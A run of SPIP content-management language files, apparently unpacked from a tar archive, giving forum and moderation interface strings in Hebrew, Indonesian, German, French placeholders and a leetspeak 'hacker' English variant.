'forum_vous_inscrire' => 'להירשם',
// I
'icone_poster_message' => 'כתוב הודעה',
'icone_suivi_forum' => 'מעקב אחר הפורום הכללי: @nb_forums@ תרומה/תרומות',
'icone_suivi_forums' => 'מעקב/ניהול פורומים',
'icone_supprimer_message' => 'מחק הודעה זו',
'icone_valider_message' => 'תן תוקף להודעה זו',
'info_activer_forum_public' => 'על מנת להפעיל את הפורומים הציבוריים, אנא בחר את מצב
הבוררות שלהם כברירת מחדל:</i>', # MODIF
'info_appliquer_choix_moderation' => ':יישם את הבחירה הזו של צמצום',
'info_desactiver_forum_public' => 'ביטול פעילות הפורומים
הציבוריים. הפורומים הציבוריים יופעלו רק אחרי החלטה
על המאמרם. לא יהיה אפשר להפעיל אותם על המדורים, על המבזקים וכו’.',
'info_envoi_forum' => 'שלח פורומים למחברי המאמרים',
'info_fonctionnement_forum' => ':פעולת הפורום',
'info_gauche_suivi_forum_2' => 'ה<i>forums follow-up</i> דף הוא לא אמצעי ניהול של אתרך (לא דיון או עריכה). הוא מציג את כל התרומות של הפורום הציבורי של המאמר הזה ומאפשר לך לנהל את התרומות האלה', # MODIF
'info_liens_syndiques_3' => 'פורומים',
'info_liens_syndiques_4' => ' ',
'info_liens_syndiques_5' => 'פורום',
'info_liens_syndiques_6' => ' ',
'info_liens_syndiques_7' => '.מחכה למתן תוקף חוקי',
'info_mode_fonctionnement_defaut_forum_public' => 'פעולה ברירת מחדל של פורומים ציבוריים',
'info_pas_de_forum' => 'אין פורום',
// L
'lien_reponse_breve_2' => 'תגובה למבזק',
// O
'onglet_messages_internes' => 'הודעות פנימיות',
'onglet_messages_publics' => 'הודעות ציבוריות',
'onglet_messages_vide' => 'הודעות בלי טקסט',
// R
'repondre_message' => 'הוספת תגובה להודעה',
// S
'statut_original' => 'מקורי',
// T
'titre_forum' => 'פורום'
);
?>
forum_id.php 0000666 00000013656 15252247467 0007116 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/forum?lang_cible=id
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'bouton_radio_articles_futurs' => 'untuk artikel yang akan dipublikasikan di masa depan saja (tidak ada aksi di database).',
'bouton_radio_articles_tous' => 'untuk semua artikel tanpa pengecualian.',
'bouton_radio_articles_tous_sauf_forum_desactive' => 'untuk semua artikel, terkecuali artikel yang forumnya dinonaktifkan.',
'bouton_radio_enregistrement_obligatoire' => 'Registrasi diperlukan (pengguna harus mendaftarkan diri dengan memberikan alamat e-mailnya sebelum dapat berkontribusi).',
'bouton_radio_moderation_priori' => 'Moderasi awal (
kontribusi hanya akan ditampilkan setelah validasi
oleh administrator).', # MODIF
'bouton_radio_modere_abonnement' => 'registrasi diperlukan',
'bouton_radio_modere_posteriori' => 'moderasi akhir', # MODIF
'bouton_radio_modere_priori' => 'moderasi awal', # MODIF
'bouton_radio_publication_immediate' => 'Publikasi pesan segera
(kontribusi akan ditampilkan sesegera mungkin setelah dikirimkan, kemudian
administrator dapat menghapusnya).',
// F
'form_pet_message_commentaire' => 'Ada pesan atau komentar?',
'forum' => 'Forum',
'forum_acces_refuse' => 'Anda tidak memiliki akses ke forum ini lagi.',
'forum_attention_dix_caracteres' => '<b>Peringatan!</b> Pesan anda hendaknya terdiri dari sepuluh karakter atau lebih.',
'forum_attention_trois_caracteres' => '<b>Peringatan!</b> Judul anda hendaknya terdiri dari tiga karakter atau lebih.',
'forum_attention_trop_caracteres' => '<b>Peringatan !</b> pesan anda terlalu panjang (@compte@ karakter) : untuk dapat menyimpannya, pesan tidak boleh lebih dari @max@ karakter.', # MODIF
'forum_avez_selectionne' => 'Anda telah memilih:',
'forum_cliquer_retour' => 'Klik <a href=\'@retour_forum@\'>di sini</a> untuk lanjut.',
'forum_forum' => 'forum',
'forum_info_modere' => 'Forum ini telah dimoderasi: kontribusi anda hanya akan muncul setelah divalidasi oleh administrator situs.', # MODIF
'forum_lien_hyper' => '<b>Tautan web</b> (opsional)', # MODIF
'forum_message_definitif' => 'Pesan akhir: kirim ke situs',
'forum_message_trop_long' => 'Pesan anda terlalu panjang. Panjang maksimum adalah 20000 karakter.', # MODIF
'forum_ne_repondez_pas' => 'Jangan balas ke e-mail ini tapi ke forum yang terdapat di alamat berikut:', # MODIF
'forum_page_url' => '(Jika pesan anda merujuk pada sebuah artikel yang dipublikasi di web atau halaman yang memberikan informasi lebih lanjut, silakan masukkan judul halaman dan URL-nya di bawah).',
'forum_poste_par' => 'Pesan dikirim@parauteur@ mengikuti artikel anda.', # MODIF
'forum_qui_etes_vous' => '<b>Siapa anda?</b> (opsional)', # MODIF
'forum_texte' => 'Teks pesan anda:', # MODIF
'forum_titre' => 'Subyek:', # MODIF
'forum_url' => 'URL:', # MODIF
'forum_valider' => 'Validasi pilihan ini',
'forum_voir_avant' => 'Lihat pesan sebelum dikirim', # MODIF
'forum_votre_email' => 'Alamat e-mail anda:', # MODIF
'forum_votre_nom' => 'Nama anda (atau alias):', # MODIF
'forum_vous_enregistrer' => 'Sebelum berpartisipasi di
forum ini, anda harus mendaftarkan diri. Terima kasih
telah memasukkan pengidentifikasi pribadi yang
diberikan pada anda. Jika anda belum terdaftar, anda harus',
'forum_vous_inscrire' => 'mendaftarkan diri.',
// I
'icone_poster_message' => 'Kirim sebuah pesan',
'icone_suivi_forum' => 'Tindak lanjut dari forum umum: @nb_forums@ kontribusi',
'icone_suivi_forums' => 'Kelola forum',
'icone_supprimer_message' => 'Hapus pesan ini',
'icone_valider_message' => 'Validasi pesan ini',
'info_activer_forum_public' => '<i>Untuk mengaktifkan forum-forum umum, silakan pilih mode moderasi standar forum-forum tersebut:</I>', # MODIF
'info_appliquer_choix_moderation' => 'Terapkan pilihan moderasi ini:',
'info_desactiver_forum_public' => 'Non aktifkan penggunaan forum
umum. Forum umum dapat digunakan berdasarkan kasus per kasus untuk
artikel-artikel; dan penggunannya dilarang untuk bagian, berita, dll.',
'info_envoi_forum' => 'Kirim forum ke penulis artikel',
'info_fonctionnement_forum' => 'Operasi forum:',
'info_gauche_suivi_forum_2' => 'Halaman <i>tindak lanjut forum</i> adalah alat bantu pengelola situs anda (bukan area diskusi atau pengeditan). Halaman ini menampilkan semua kontribusi forum umum artikel ini dan mengizinkan anda untuk mengelola kontribusi-kontribusi ini.', # MODIF
'info_liens_syndiques_3' => 'forum',
'info_liens_syndiques_4' => 'adalah',
'info_liens_syndiques_5' => 'forum',
'info_liens_syndiques_6' => 'adalah',
'info_liens_syndiques_7' => 'validasi tertunda.',
'info_mode_fonctionnement_defaut_forum_public' => 'Mode operasi standar forum-forum umum',
'info_option_email' => 'Ketika seorang pengunjung situs mengirimkan sebuah pesan ke forum
yang terasosiasi dengan sebuah artikel, penulis artikel akan diinformasikan
melalui e-mail. Anda ingin menggunakan opsi ini?', # MODIF
'info_pas_de_forum' => 'tidak ada forum',
'item_activer_forum_administrateur' => 'Aktifkan forum administrator',
'item_desactiver_forum_administrateur' => 'Non aktifkan forum administrator',
// L
'lien_reponse_article' => 'Balasan pada artikel',
'lien_reponse_breve_2' => 'Balasan pada artikel berita',
'lien_reponse_rubrique' => 'Balasan pada bagian',
'lien_reponse_site_reference' => 'Balasan pada situs-situs referensi:', # MODIF
// O
'onglet_messages_internes' => 'Pesan internal',
'onglet_messages_publics' => 'Pesan umum',
'onglet_messages_vide' => 'Pesan tanpa teks',
// R
'repondre_message' => 'Balasan pada pesan ini',
// S
'statut_original' => 'asli',
// T
'titre_cadre_forum_administrateur' => 'Forum pribadi para administrator',
'titre_cadre_forum_interne' => 'Forum intern',
'titre_forum' => 'Forum',
'titre_forum_suivi' => 'Tindak lanjut forum',
'titre_page_forum_suivi' => 'Tindak lanjut forum'
);
?>
forum_de.php 0000666 00000023506 15252247467 0007105 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/forum?lang_cible=de
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// A
'aucun_message_forum' => 'Kein Beitrag',
// B
'bouton_radio_articles_futurs' => 'nur für neue Artikel (hat keine Auswirkungen auf die Datenbank).',
'bouton_radio_articles_tous' => 'für ausnahmslos alle Artikel.',
'bouton_radio_articles_tous_sauf_forum_desactive' => 'nur für Artikel mit aktiviertem Forum.',
'bouton_radio_enregistrement_obligatoire' => 'Obligatorische Anmeldung (Besucher müssen sich mit einer gültigen E-Mail Adresse anmelden, um Forumsbeiträge schreiben zu können).',
'bouton_radio_moderation_priori' => 'Vorgeschaltete Moderation (Die Benutzerkommentare werden erst nach Bestätigung durch einen Administrator sichtbar). ',
'bouton_radio_modere_abonnement' => 'Mit Anmeldung',
'bouton_radio_modere_posteriori' => 'Nachträgliche Moderation',
'bouton_radio_modere_priori' => 'Vorgeschaltete Moderation',
'bouton_radio_publication_immediate' => 'Sofortige Veröffentlichung von Beiträgen (sie werden sofort nach dem Absenden angezeigt und können von Administratoren nachträglich gelöscht werden).',
// D
'documents_interdits_forum' => 'Dokumente sind im Forum verboten.',
// E
'erreur_enregistrement_message' => 'Fehler: Ihr Beitrag konnte nicht gespeichert werden.',
// F
'form_pet_message_commentaire' => 'Eine Nachricht, ein Kommentar?',
'forum' => 'Forum',
'forum_acces_refuse' => 'Sie haben keinen Zugang mehr zu diesen Foren.',
'forum_attention_dix_caracteres' => '<b>Achtung!</b> Ihr Beitrag ist muss mindestens 10 Zeichen lang sein.',
'forum_attention_message_non_poste' => 'Pozor, neposlali ste svoj príspevok!',
'forum_attention_nb_caracteres_mini' => '<b>Achtung!</b> ihr Beitrag muss mindestens @min@ Zeichen enthalten.',
'forum_attention_trois_caracteres' => '<b>Achtung!</b> Ihr Titel muss mindestens drei Zeichen lang sein.',
'forum_attention_trop_caracteres' => '<b>Achtung!</b> Ihr Beitrag ist zu lang (@compte@ Zeichen). Damit er gespeichert werden kann, darf er maximal @max@ Zeichen lang sein.',
'forum_avez_selectionne' => 'Sie haben ausgewählt:',
'forum_cliquer_retour' => '<a href=\'@retour_forum@\'>Weiter</a>',
'forum_forum' => 'Forum',
'forum_info_modere' => 'Dieses Forum ist moderiert. Ihr Beitrag erscheint erst nach Freischaltung durch einen Administrator der Website.',
'forum_lien_hyper' => 'Hyperlink',
'forum_message' => 'Ihr Beitrag',
'forum_message_definitif' => 'Beitrag fertiggestellt: Endgültig eintragen.',
'forum_message_trop_long' => 'Ihr Beitrag ist zu lang. Sie können maximal 20.000 Zeichen schreiben.',
'forum_ne_repondez_pas' => 'Antworten Sie nicht auf diese Mail, sondern im Forum mit dieser Adresse:',
'forum_page_url' => '(Wenn sich Ihr Beitrag auf einen Artikel im Internet oder auf eine Seite mit Zusatzinformationen bezieht, geben Sie hier bitte den Titel der Seite und ihre Adresse bzw. URL an.)',
'forum_permalink' => 'Permalink des Beitrags',
'forum_poste_par' => 'Beitrag von @parauteur@ als Antwort auf den Artikel « @titre@ ».', # MODIF
'forum_qui_etes_vous' => 'Wer sind Sie?',
'forum_saisie_texte_info' => 'In diesem Formular können Sie die SPIP-Tags <code>[->url] {{gras}} {italique} <quote> <code></code>sowie die HTML-Codes <code><q> <del> <ins></code> verwenden.Absätze fügen Sie mit Leerzeilen ein.',
'forum_texte' => 'Text Ihres Beitrags',
'forum_titre' => 'Titel',
'forum_url' => 'Ihre Website',
'forum_valider' => 'Auswahl bestätigen',
'forum_voir_avant' => 'Vorschau starten',
'forum_votre_email' => 'Ihr E-Mail Adresse',
'forum_votre_nom' => 'Ihr Name',
'forum_vous_enregistrer' => 'Um an diesem Forum teilnehmen zu können, müssen Sie sich anmelden. Bitte tragen Sie weiter unten die Zugangsdaten ein, die Sie per Mail erhalten haben. Wenn Sie noch nicht angemeldet sind, können Sie sich',
'forum_vous_inscrire' => 'online anmelden.',
// I
'icone_bruler_message' => 'Als SPAM markieren',
'icone_bruler_messages' => 'Als SPAM markieren',
'icone_legitimer_message' => 'Als erwünscht markieren',
'icone_poster_message' => 'Nachricht schicken',
'icone_suivi_forum' => 'Öffentliches Forum: @nb_forums@ Beiträge',
'icone_suivi_forums' => 'Foren verwalten',
'icone_supprimer_message' => 'Nachricht löschen',
'icone_supprimer_messages' => 'Diese Beiträge löschen',
'icone_valider_message' => 'Beitrag freigeben',
'icone_valider_messages' => 'Diese Beiträge freischalten',
'icone_valider_repondre_message' => 'Diesen Beitrag veröffentlichen und beantworten',
'info_1_message_forum' => '1 Beitrag im Forum',
'info_activer_forum_public' => 'Um die öffentlichen Foren zu aktivieren, wählen Sie bitte
den voreingestellten Moderationmodus:',
'info_appliquer_choix_moderation' => 'Moderationstyp anwenden:',
'info_config_forums_prive' => 'Im Redaktionsbereich können Sie verschiedene Arten Forum aktivieren:',
'info_config_forums_prive_admin' => 'Ein Forum nur für Administratoren der Site:',
'info_config_forums_prive_global' => 'Ein allgemeines Forum für alle Redakteure:',
'info_config_forums_prive_objets' => 'Ein Forum unter jedem Artikel, Meldung, verlinkten Website, etc.:',
'info_desactiver_forum_public' => 'Öffentliche Foren abschalten. Es ist immer noch möglich, ein Forum für einen Artikel einzurichten. Für Rubriken, Meldungen, etc. stehen dann keine Foren zur Verfügung.',
'info_envoi_forum' => 'Forumsbeiträge an Autoren der Artikel schicken',
'info_fonctionnement_forum' => 'Funktionsweise des Forums:',
'info_forums_liees_mot' => 'Beiträge mit diesem Schlagwort',
'info_gauche_suivi_forum_2' => 'Die Seite zum <i>Verwalten der Foren</i> hat eine administrative Funktion und dient nicht zum Diskutieren mit den Lesern. Es werden alle Einträge in öffentlichen und internen Foren gezeigt, so dass Sie diese einzeln autorisieren und ablehnen können.',
'info_liens_syndiques_3' => 'Foren',
'info_liens_syndiques_4' => 'sind',
'info_liens_syndiques_5' => 'Forum',
'info_liens_syndiques_6' => 'ist',
'info_liens_syndiques_7' => 'warten auf Freigabe',
'info_liens_texte' => 'Links im Text des Beitrags',
'info_liens_titre' => 'Links im Titel des Beitrags',
'info_mode_fonctionnement_defaut_forum_public' => 'Standardmodus der öffentlichen Foren',
'info_nb_messages_forum' => '@nb@ Beiträge im Forum',
'info_option_email' => 'Wenn ein Besucher einen Beitrag im Forum eines Artikels postet, kann SPIP ihn an den Autor des Artikels schicken. Bitte geben Sie für jeden Inhaltstyp an, ob sie diese Funktion nutzen möchten.',
'info_pas_de_forum' => 'kein Forum',
'info_question_visiteur_ajout_document_forum' => 'Wenn Sie den Besuchern gestatten, ihren Forumsbeiträgen Dokumente (Töne, Bilder, ...) beizufügen, wählen Sie bitte aus der Liste die erlaubten Formate (z.B. gif, jpg, png, mp3).',
'info_question_visiteur_ajout_document_forum_format' => 'Wenn Sie alle von SPIP akzeptierten Dateitypen zulassen möchten, geben Sie bitte einen Asterisk (*) ein. Wenn Sie keine Dokumente zulassen möchten, tragen Sie keinen Wert ein.',
'info_selectionner_message' => 'Beiträge auswählen:',
'interface_formulaire' => 'Interface als Formular',
'interface_onglets' => 'Interface mit Reitern',
'item_activer_forum_administrateur' => 'Admin-Forum aktivieren',
'item_config_forums_prive_global' => 'Forum der Redakteure aktivieren',
'item_config_forums_prive_objets' => 'Diese Foren aktivieren',
'item_desactiver_forum_administrateur' => 'Admin-Forum abschalten',
'item_non_config_forums_prive_global' => 'Forum der Redakteure abschalten',
'item_non_config_forums_prive_objets' => 'Diese Foren abschalten',
// L
'label_selectionner' => 'Auswählen:',
'lien_reponse_article' => 'Antwort auf Artikel',
'lien_reponse_breve_2' => 'Antwort auf Meldung',
'lien_reponse_message' => 'Beitrag beantworten',
'lien_reponse_rubrique' => 'Antwort auf Rubrik',
'lien_reponse_site_reference' => 'Antwort auf verlinkte Website',
'lien_vider_selection' => 'Auswahl entfernen',
// M
'messages_aucun' => 'Kein',
'messages_meme_auteur' => 'Alle Beiträge dieses Autors',
'messages_meme_email' => 'Alle Beiträge mit dieser E-Mail',
'messages_meme_ip' => 'Alle Beiträge von dieser IP',
'messages_off' => 'Gelöscht',
'messages_perso' => 'Persönlich',
'messages_privadm' => 'Administratoren',
'messages_prive' => 'Privat',
'messages_privoff' => 'Gelöscht',
'messages_privrac' => 'Allgemein',
'messages_prop' => 'Vorgeschlagen',
'messages_publie' => 'Veröffentlicht',
'messages_spam' => 'Spam',
'messages_tous' => 'Alle',
// O
'onglet_messages_internes' => 'Interne Nachrichten',
'onglet_messages_publics' => 'Öffentliche Nachrichten',
'onglet_messages_vide' => 'Nachrichten ohne Text',
// R
'repondre_message' => 'auf diese Nachricht antworten',
// S
'statut_off' => 'Gelöscht',
'statut_original' => 'Original',
'statut_prop' => 'Vorgeschlagen',
'statut_publie' => 'Veröffentlicht',
'statut_spam' => 'Spam',
// T
'text_article_propose_publication_forum' => 'Bitte schreiben Sie Ihren Kommentar in das Forum zu diesem Artikel (unten auf der Seite).',
'texte_en_cours_validation' => 'Diese Artikel, Meldungen und Forumsbeiträge sind zur Veröffentlichung vorgeschlagen',
'texte_en_cours_validation_forum' => 'Bitte schreiben Sie Ihre Kommentare in die entsprechenden Foren.',
'texte_messages_publics' => 'Öffentliche Beiträge zu:',
'titre_cadre_forum_administrateur' => 'Administratorforum',
'titre_cadre_forum_interne' => 'Internes Forum',
'titre_config_forums_prive' => 'Forum des Redaktionsbereichs',
'titre_forum' => 'Forum',
'titre_forum_suivi' => 'Foren moderieren',
'titre_page_forum_suivi' => 'Foren moderieren',
'titre_selection_action' => 'Auswahl',
'tout_voir' => 'Alle Beiträge anzeigen',
// V
'voir_messages_objet' => 'Beiträge anzeigen'
);
?>
forum_grecgr.php 0000666 00000025235 15252247467 0007767 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://www.spip.net/trad-lang/
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// A
'aucun_message_forum' => 'Aucun message de forum', # NEW
// B
'bouton_radio_articles_futurs' => 'aux articles futurs uniquement (pas d\'action sur la base de données).', # NEW
'bouton_radio_articles_tous' => 'à tous les articles sans exception.', # NEW
'bouton_radio_articles_tous_sauf_forum_desactive' => 'à tous les articles, sauf ceux dont le forum est désactivé.', # NEW
'bouton_radio_enregistrement_obligatoire' => 'Enregistrement obligatoire (les
utilisateurs doivent s\'abonner en fournissant leur adresse e-mail avant de
pouvoir poster des contributions).', # NEW
'bouton_radio_moderation_priori' => 'Modération à priori (les
contributions ne s\'affichent publiquement qu\'après validation par les
administrateurs).', # NEW
'bouton_radio_modere_abonnement' => 'sur abonnement', # NEW
'bouton_radio_modere_posteriori' => 'modération à posteriori', # NEW
'bouton_radio_modere_priori' => 'modération à priori', # NEW
'bouton_radio_publication_immediate' => 'Publication immédiate des messages
(les contributions s\'affichent dès leur envoi, les administrateurs peuvent
les supprimer ensuite).', # NEW
// D
'documents_interdits_forum' => 'Documents interdits dans le forum', # NEW
// E
'erreur_enregistrement_message' => 'Votre message n\'a pas pu être enregistré en raison d\'un problème technique', # NEW
// F
'form_pet_message_commentaire' => 'Un message, un commentaire ?', # NEW
'forum' => 'Forum', # NEW
'forum_acces_refuse' => 'Vous n\'avez plus accès à ces forums.', # NEW
'forum_attention_dix_caracteres' => '<b>Attention !</b> votre message doit contenir au moins dix caractères.', # NEW
'forum_attention_message_non_poste' => 'Attention, vous n\'avez pas posté votre message !', # NEW
'forum_attention_trois_caracteres' => '<b>Attention !</b> votre titre doit contenir au moins trois caractères.', # NEW
'forum_attention_trop_caracteres' => '<b>Attention !</b> votre message est trop long (@compte@ caractères) : pour pouvoir être enregistré, il ne doit pas dépasser @max@ caractères.', # NEW
'forum_avez_selectionne' => 'Vous avez sélectionné :', # NEW
'forum_cliquer_retour' => 'Cliquez <a href=\'@retour_forum@\'>ici</a> pour continuer.', # NEW
'forum_forum' => 'forum', # NEW
'forum_info_modere' => 'Ce forum est modéré à priori : votre contribution n\'apparaîtra qu\'après avoir été validée par un administrateur du site.', # NEW
'forum_lien_hyper' => 'Lien hypertexte', # NEW
'forum_message' => 'Votre message', # NEW
'forum_message_definitif' => 'Message définitif : envoyer au site', # NEW
'forum_message_trop_long' => 'Votre message est trop long. La taille maximale est de 20000 caractères.', # NEW
'forum_ne_repondez_pas' => 'Ne répondez pas à ce mail mais sur le forum à l\'adresse suivante :', # NEW
'forum_page_url' => '(Si votre message se réfère à un article publié sur le Web, ou à une page fournissant plus d\'informations, vous pouvez indiquer ci-après le titre de la page et son adresse.)', # NEW
'forum_permalink' => 'Lien permanent vers le commentaire', # NEW
'forum_poste_par' => 'Message posté@parauteur@ à la suite de l\'article « @titre@ ».', # NEW
'forum_qui_etes_vous' => 'Qui êtes-vous ?', # NEW
'forum_saisie_texte_info' => 'Ce formulaire accepte les raccourcis SPIP <code>[->url] {{gras}} {italique} <quote> <code></code> et le code HTML <code><q> <del> <ins></code>. Pour créer des paragraphes, laissez simplement des lignes vides.', # NEW
'forum_texte' => 'Texte de votre message', # NEW
'forum_titre' => 'Titre', # NEW
'forum_url' => 'Votre site web', # NEW
'forum_valider' => 'Valider ce choix', # NEW
'forum_voir_avant' => 'Prévisualiser', # NEW
'forum_votre_email' => 'Votre adresse email', # NEW
'forum_votre_nom' => 'Votre nom', # NEW
'forum_vous_enregistrer' => 'Pour participer à
ce forum, vous devez vous enregistrer au préalable. Merci
d\'indiquer ci-dessous l\'identifiant personnel qui vous a
été fourni. Si vous n\'êtes pas enregistré, vous devez', # NEW
'forum_vous_inscrire' => 'vous inscrire.', # NEW
// I
'icone_bruler_message' => 'Signaler comme Spam', # NEW
'icone_bruler_messages' => 'Signaler comme Spam', # NEW
'icone_legitimer_message' => 'Signaler comme licite', # NEW
'icone_poster_message' => 'Poster un message', # NEW
'icone_suivi_forum' => 'Suivi du forum public : @nb_forums@ contribution(s)', # NEW
'icone_suivi_forums' => 'Suivre/gérer les forums', # NEW
'icone_supprimer_message' => 'Supprimer ce message', # NEW
'icone_supprimer_messages' => 'Supprimer ces messages', # NEW
'icone_valider_message' => 'Valider ce message', # NEW
'icone_valider_messages' => 'Valider ces messages', # NEW
'icone_valider_repondre_message' => 'Valider & Répondre à ce message', # NEW
'info_1_message_forum' => '1 message de forum', # NEW
'info_activer_forum_public' => 'Pour activer les forums publics, veuillez choisir leur mode
de modération par défaut :', # NEW
'info_appliquer_choix_moderation' => 'Appliquer ce choix de modération :', # NEW
'info_config_forums_prive' => 'Dans l’espace privé du site, vous pouvez activer plusieurs types de forums :', # NEW
'info_config_forums_prive_admin' => 'Un forum réservé aux administrateurs du site :', # NEW
'info_config_forums_prive_global' => 'Un forum global, ouvert à tous les rédacteurs :', # NEW
'info_config_forums_prive_objets' => 'Un forum sous chaque article, brève, site référencé, etc. :', # NEW
'info_desactiver_forum_public' => 'Désactiver l\'utilisation des forums
publics. Les forums publics pourront être autorisés au cas par cas
sur les articles ; ils seront interdits sur les rubriques, brèves, etc.', # NEW
'info_envoi_forum' => 'Envoi des forums aux auteurs des articles', # NEW
'info_fonctionnement_forum' => 'Fonctionnement du forum :', # NEW
'info_forums_liees_mot' => 'Les messages de forum liés à ce mot', # NEW
'info_gauche_suivi_forum_2' => 'La page de <i>suivi des forums</i> est un outil de gestion de votre site (et non un espace de discussion ou de rédaction). Elle affiche toutes les contributions des forums du site, aussi bien celles du site public que de l\'espace privé et vous permet de gérer ces contributions.', # NEW
'info_liens_syndiques_3' => 'forums', # NEW
'info_liens_syndiques_4' => 'sont', # NEW
'info_liens_syndiques_5' => 'forum', # NEW
'info_liens_syndiques_6' => 'est', # NEW
'info_liens_syndiques_7' => 'en attente de validation', # NEW
'info_liens_texte' => 'Lien(s) contenu(s) dans le texte du message', # NEW
'info_liens_titre' => 'Lien(s) contenu(s) dans le titre du message', # NEW
'info_mode_fonctionnement_defaut_forum_public' => 'Mode de fonctionnement par défaut des forums publics', # NEW
'info_nb_messages_forum' => '@nb@ messages de forum', # NEW
'info_option_email' => 'Lorsqu\'un visiteur du site poste un nouveau message dans le forum associé à un article, les auteurs de l\'article peuvent être prévenus de ce message par e-mail. Indiquer pour chaque type de forum s\'il faut utiliser cette option.', # NEW
'info_pas_de_forum' => 'pas de forum', # NEW
'info_question_visiteur_ajout_document_forum' => 'Si vous souhaitez autoriser les visiteurs à joindre des documents (images, sons...) à leurs messages de forum, indiquez ci-dessous la liste des extensions de documents autorisés pour les forums (ex: gif, jpg, png, mp3).', # NEW
'info_question_visiteur_ajout_document_forum_format' => 'Si vous souhaitez autoriser tous les types de documents considérés comme fiables par SPIP, mettez une étoile. Pour ne rien autoriser, n\'indiquez rien.', # NEW
'interface_formulaire' => 'Interface formulaire', # NEW
'interface_onglets' => 'Interface avec onglets', # NEW
'item_activer_forum_administrateur' => 'Activer le forum des administrateurs', # NEW
'item_config_forums_prive_global' => 'Activer le forum des rédacteurs', # NEW
'item_config_forums_prive_objets' => 'Activer ces forums', # NEW
'item_desactiver_forum_administrateur' => 'Désactiver le forum des administrateurs', # NEW
'item_non_config_forums_prive_global' => 'Désactiver le forum des rédacteurs', # NEW
'item_non_config_forums_prive_objets' => 'Désactiver ces forums', # NEW
// L
'lien_reponse_article' => 'Réponse à l\'article', # NEW
'lien_reponse_breve_2' => 'Réponse à la brève', # NEW
'lien_reponse_message' => 'Réponse au message', # NEW
'lien_reponse_rubrique' => 'Réponse à la rubrique', # NEW
'lien_reponse_site_reference' => 'Réponse au site référencé', # NEW
// M
'messages_aucun' => 'Aucun', # NEW
'messages_meme_auteur' => 'Tous les messages de cet auteur', # NEW
'messages_meme_email' => 'Tous les messages de cet email', # NEW
'messages_meme_ip' => 'Tous les messages de cette IP', # NEW
'messages_off' => 'Supprimés', # NEW
'messages_perso' => 'Personnels', # NEW
'messages_privadm' => 'Administrateurs', # NEW
'messages_prive' => 'Privés', # NEW
'messages_privoff' => 'Supprimés', # NEW
'messages_privrac' => 'Généraux', # NEW
'messages_prop' => 'Proposés', # NEW
'messages_publie' => 'Publiés', # NEW
'messages_spam' => 'Spam', # NEW
'messages_tous' => 'Tous', # NEW
// O
'onglet_messages_internes' => 'Messages internes', # NEW
'onglet_messages_publics' => 'Messages publics', # NEW
'onglet_messages_vide' => 'Messages sans texte', # NEW
// R
'repondre_message' => 'Reply to this message', # NEW
// S
'statut_off' => 'Supprimé', # NEW
'statut_original' => 'original', # NEW
'statut_prop' => 'Proposé', # NEW
'statut_publie' => 'Publié', # NEW
'statut_spam' => 'Spam', # NEW
// T
'text_article_propose_publication_forum' => 'N\'hésitez pas à donner votre avis grâce au forum attaché à cet article (en bas de page).', # NEW
'texte_en_cours_validation' => 'Les articles, brèves, forums ci dessous sont proposés à la publication.', # NEW
'texte_en_cours_validation_forum' => 'N\'hésitez pas à donner votre avis grâce aux forums qui leur sont attachés.', # NEW
'texte_messages_publics' => 'Messages publics sur :', # NEW
'titre_cadre_forum_administrateur' => 'Forum privé des administrateurs', # NEW
'titre_cadre_forum_interne' => 'Forum interne', # NEW
'titre_config_forums_prive' => 'Forums de l’espace privé', # NEW
'titre_forum' => 'Forum', # NEW
'titre_forum_suivi' => 'Suivi des forums', # NEW
'titre_page_forum_suivi' => 'Suivi des forums', # NEW
'titre_selection_action' => 'Sélection', # NEW
'tout_voir' => 'Voir tous les messages', # NEW
// V
'voir_messages_objet' => 'voir les messages' # NEW
);
?>
forum_en_hx.php 0000666 00000013114 15252247467 0007610 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/forum?lang_cible=en_hx
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'bouton_radio_articles_futurs' => '70 fu7ur3 4r71c135 0n1y (n0 4c710n 0n 7h3 d474b453).',
'bouton_radio_articles_tous' => '70 411 4r71c135 w17h0u7 4ny 3xc3p710n.',
'bouton_radio_articles_tous_sauf_forum_desactive' => '70 411 4r71c135, 3xc3p7 7h053 w17h d154b13d f0rum5.',
'bouton_radio_enregistrement_obligatoire' => 'R3qu1r3d r3g157r4710n (u53r5 mu57 5ub5cr1b3 by pr0v1d1ng 7h31r 3-m411 4ddr355 b3f0r3 b31ng 4b13 70 p057 c0n7r1bu710n5).',
'bouton_radio_moderation_priori' => 'B3f0r3h4nd m0d3r4710n (
c0n7r1bu710n5 w111 b3 5h0wn 0n1y 4f73r v411d4710n by
4dm1n157r470r5).', # MODIF
'bouton_radio_modere_abonnement' => 'm0d3r4710n by 5ub5cr1p710n',
'bouton_radio_modere_posteriori' => '4f73rw4rd5 m0d3r4710n', # MODIF
'bouton_radio_modere_priori' => 'b3f0r3h4nd m0d3r4710n', # MODIF
'bouton_radio_publication_immediate' => '1mm3d1473 pub11c4710n 0f m3554g35
(c0n7r1bu710n5 w111 b3 5h0wn 7h3 m0m3n7 7h3y 4r3 53n7, 4dm1n157r470r5 c4n
d31373 7h3m 7h3n).',
// F
'form_pet_message_commentaire' => '4ny m3554g3 0r c0mm3n7?',
'forum' => 'F0rum',
'forum_acces_refuse' => 'Y0u h4v3 n07 4cc355 70 7h353 f0rum5 4nym0r3.',
'forum_attention_dix_caracteres' => '<b>W4rn1ng!</b> y0ur m3554g3 15 1355 7h4n 73n ch4r4c73r5 1n 13ng7h.', # MODIF
'forum_attention_trois_caracteres' => '<b>W4rn1ng!</b> y0ur 5ubj3c7 15 1355 7h4n 7hr33 ch4r4c73r5 1n 13ng7h.', # MODIF
'forum_avez_selectionne' => 'Y0u h4v3 5313c73d:',
